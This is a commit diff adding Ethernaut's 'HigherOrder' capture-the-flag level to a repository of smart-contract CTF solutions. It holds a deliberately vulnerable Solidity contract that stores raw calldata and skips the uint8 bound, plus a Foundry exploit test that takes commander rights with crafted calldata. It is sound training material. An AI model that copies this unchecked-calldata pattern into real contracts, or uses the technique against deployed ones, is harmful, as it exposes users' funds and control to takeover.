File tree Expand file tree Collapse file tree 6 files changed +87
-0
lines changed Expand file tree Collapse file tree 6 files changed +87
-0
lines changed Original file line number Diff line number Diff line change @@ -289,6 +289,7 @@ Note:
289
289
| [ BlazCTF 2023: Jambo] ( src/BlazCTF2023/ ) | |
290
290
| [ BlazCTF 2023: Ghost] ( src/BlazCTF2023/ ) | |
291
291
| [ Curta: Lana] ( src/Curta/20_Lana/ ) | LLVM |
292
+ | [ Ethernaut: 30. HigherOrder] ( src/Ethernaut/HigherOrder/ ) | calldata |
292
293
293
294
### EVM assembly logic bugs
294
295
- Logic bugs in assemblies such as Yul
Original file line number Diff line number Diff line change
1
+ // SPDX-License-Identifier: UNLICENSED
2
+ pragma solidity ^ 0.8.13 ;
3
+
4
+ import "forge-std/Test.sol " ;
5
+ import "./HigherOrderFactory.sol " ;
6
+
7
+ contract HigherOrderExploitTest is Test {
8
+ function test () public {
9
+ address playerAddress = makeAddr ("player " );
10
+ vm.deal (playerAddress, 1 ether);
11
+ HigherOrderFactory factory = new HigherOrderFactory ();
12
+ address instanceAddress = factory.createInstance (playerAddress);
13
+
14
+ vm.startPrank (playerAddress, playerAddress);
15
+
16
+ instanceAddress.call (bytes .concat (HigherOrder.registerTreasury.selector , bytes32 (uint256 (0x100 ))));
17
+ instanceAddress.call (abi.encodeWithSignature ("claimLeadership() " ));
18
+
19
+ vm.stopPrank ();
20
+
21
+ assertTrue (factory.validateInstance (payable (instanceAddress), playerAddress), "Invalid Instance " );
22
+ }
23
+ }
Original file line number Diff line number Diff line change
1
+ // SPDX-License-Identifier: MIT
2
+ pragma solidity ^ 0.8.20 ;
3
+
4
+ contract HigherOrder {
5
+ address public commander;
6
+
7
+ uint256 public treasury;
8
+
9
+ function registerTreasury (uint8 ) public {
10
+ assembly {
11
+ sstore (treasury.slot, calldataload (4 ))
12
+ }
13
+ }
14
+
15
+ function claimLeadership () public {
16
+ if (treasury > 255 ) commander = msg .sender ;
17
+ else revert ("Only members of the Higher Order can become Commander " );
18
+ }
19
+ }
Original file line number Diff line number Diff line change
1
+ // SPDX-License-Identifier: MIT
2
+ pragma solidity 0.6.12 ;
3
+
4
+ contract HigherOrder {
5
+ address public commander;
6
+
7
+ uint256 public treasury;
8
+
9
+ function registerTreasury (uint8 ) public {
10
+ assembly {
11
+ sstore (treasury_slot, calldataload (4 ))
12
+ }
13
+ }
14
+
15
+ function claimLeadership () public {
16
+ if (treasury > 255 ) commander = msg .sender ;
17
+ else revert ("Only members of the Higher Order can become Commander " );
18
+ }
19
+ }
Original file line number Diff line number Diff line change
1
+ // SPDX-License-Identifier: MIT
2
+ pragma solidity ^ 0.8.20 ;
3
+
4
+ import "../Ethernaut/Level.sol " ;
5
+ import "./HigherOrder-8.sol " ;
6
+ import "src/utils/Create.sol " ;
7
+
8
+ contract HigherOrderFactory is Level {
9
+ function createInstance (address _player ) public payable override returns (address ) {
10
+ return Create.deploy ("HigherOrder.sol:HigherOrder " );
11
+ }
12
+
13
+ function validateInstance (address payable _instance , address _player ) public override returns (bool ) {
14
+ HigherOrder instance = HigherOrder (_instance);
15
+ return instance.commander () == _player;
16
+ }
17
+ }
Original file line number Diff line number Diff line change @@ -452,3 +452,11 @@ forge test --match-contract SwitchExploit -vvvv
452
452
``` sh
453
453
forge script SwitchExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --broadcast --sig " run(address)" $INSTANCE_ADDRESS
454
454
```
455
+
456
+ ## 30. HigherOrder
457
+ [ Challenge & Exploit codes] ( HigherOrder )
458
+
459
+ ** Test**
460
+ ``` sh
461
+ forge test --match-contract HigherOrderExploit -vvvv
462
+ ```
You can’t perform that action at this time.
0 commit comments